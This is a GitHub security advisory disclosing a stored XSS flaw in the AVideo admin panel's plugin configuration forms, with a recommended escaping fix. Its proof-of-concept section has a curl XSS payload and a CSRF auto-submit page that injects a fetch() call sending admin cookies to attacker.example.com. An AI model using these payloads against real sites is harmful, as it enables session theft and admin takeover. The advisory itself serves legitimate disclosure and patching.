Stored XSS via Unescaped Plugin Configuration Values in Admin Panel

Moderate **DanielnetoDotCom** published **GHSA-v4h7-3x43-qqw4** last week

Software

WWBN/AVideo

Affected versions

<= 26.0

Patched versions

None

Description

Summary

The AVideo admin panel renders plugin configuration values in HTML forms without applying `htmlspecialchars()` or any other output encoding. The `jsonToFormElements()` function in `admin/functions.php` directly interpolates user-controlled values into textarea contents, option elements, and input attributes. An attacker who can set a plugin configuration value (either as a compromised admin or by chaining with CSRF on `admin/save.json.php`) can inject arbitrary JavaScript that executes whenever any administrator visits the plugin configuration page.

This vulnerability chains with AVI-046 (CSRF on `save.json.php`) to enable a full cross-origin stored XSS attack against the admin panel without requiring any prior authentication.

Details

The `jsonToFormElements()` function in `admin/functions.php` contains multiple unsafe output points where configuration values are rendered without escaping:

Textarea injection (line 47):

```
// admin/functions.php:47
$html .= "<textarea class='form-control' name='{$name}' id='{$id}'>{$valueJson->va
```

The `$valueJson->value` is placed directly between textarea tags without encoding.

Select option injection (line 55):

```
// admin/functions.php:55
$html .= "<option value='{$key}' {$select}>{$value}</option>";
```

Both `$key` and `$value` are inserted without encoding, allowing attribute breakout and HTML injection.

Input type and value injection (lines 62-63):

```
// admin/functions.php:62-63
$html .= "<input class='form-control' type='{$valueJson->type}' value='{$valueJson
```

Both `type` and `value` attributes are unescaped, enabling attribute injection.

Fallback input injection (line 75):

```
// admin/functions.php:75
$html .= "<input class='form-control' type='text' value='{$valueJson}' name='{$nam
```

The raw `$valueJson` string is placed into the `value` attribute without encoding.

Configuration values are saved via `admin/save.json.php`, which lacks CSRF token validation.

Proof of Concept

Method 1: Direct exploitation (requires admin session)

```
# Store XSS payload in a plugin configuration value
# The endpoint uses pluginName and direct field names as parameters
curl -b "PHPSESSID=ADMIN_SESSION_COOKIE" \
  -X POST "https://your-avideo-instance.com/admin/save.json.php" \
  -d "pluginName=PlayerSkins&skin=x' onfocus=alert(document.cookie) autofocus='"
```

When any admin visits the plugin configuration page, the payload fires.

Method 2: Cross-origin chain with CSRF (no authentication required)

Create the following HTML page and trick an admin into visiting it:

```
<!DOCTYPE html>
<html>
<head><title>AVI-033 + AVI-046 Chain PoC</title></head>
<body>
```

```
<h1>Loading...</h1>
<form id="xss" method="POST"
      action="https://your-avideo-instance.com/admin/save.json.php">
  <input type="hidden" name="name" value="Gallery" />
  <input type="hidden" name="parameter" value="description" />
  <input type="hidden" name="value"
         value="' onfocus=fetch('https://attacker.example.com/steal?c='+document.cookie)
</form>
<script>document.getElementById('xss').submit();</script>
</body>
</html>
```

The payload breaks out of the `value` attribute in the rendered input element:

```
<!-- Rendered HTML in admin panel -->
<input class='form-control' type='text'
       value='' onfocus=fetch('https://attacker.example.com/steal?c='+document.cookie) a
       name='description' id='description'/>
```

Impact

An attacker can achieve stored cross-site scripting in the AVideo admin panel. When chained with the CSRF vulnerability on `save.json.php`, this requires zero authentication - the attacker only needs to lure an admin to a malicious page. Once the XSS fires in the admin context, the attacker can:

- Steal admin session cookies and CSRF tokens
- Create new admin accounts
- Modify site configuration (enable file uploads, disable security features)
- Inject persistent JavaScript into public-facing pages via site-wide settings
- Pivot to server-side code execution via plugin upload functionality
- **CWE-79**: Improper Neutralization of Input During Web Page Generation (Stored XSS)
- **Severity**: High

Recommended Fix

Apply `htmlspecialchars($value, ENT_QUOTES, 'UTF-8')` to all user-controlled values rendered in `admin/functions.php`:

```
// admin/functions.php:47 - textarea content
$html .= "<textarea class='form-control' name='{$name}' id='{$id}'>" . htmlspecialchars(

// admin/functions.php:55 - select option
```

```
$html .= "<option value='" . htmlspecialchars($key, ENT_QUOTES, 'UTF-8') . "' {$select}>

// admin/functions.php:62-63 - input type and value
$html .= "<input class='form-control' type='" . htmlspecialchars($valueJson->type, ENT_Q

// admin/functions.php:75 - fallback input
$html .= "<input class='form-control' type='text' value='" . htmlspecialchars($valueJson
```

Found by aisafe.io

Severity

Moderate 6.1 / 10

CVSS v3 base metrics

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	Required
Scope	Changed
Confidentiality	Low
Integrity	Low
Availability	None

Learn more about base metrics

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

CVE ID

CVE-2026-34396

Weaknesses

▶ CWE-79

Credits

adrgs	Reporter
aisafe-bot	Finder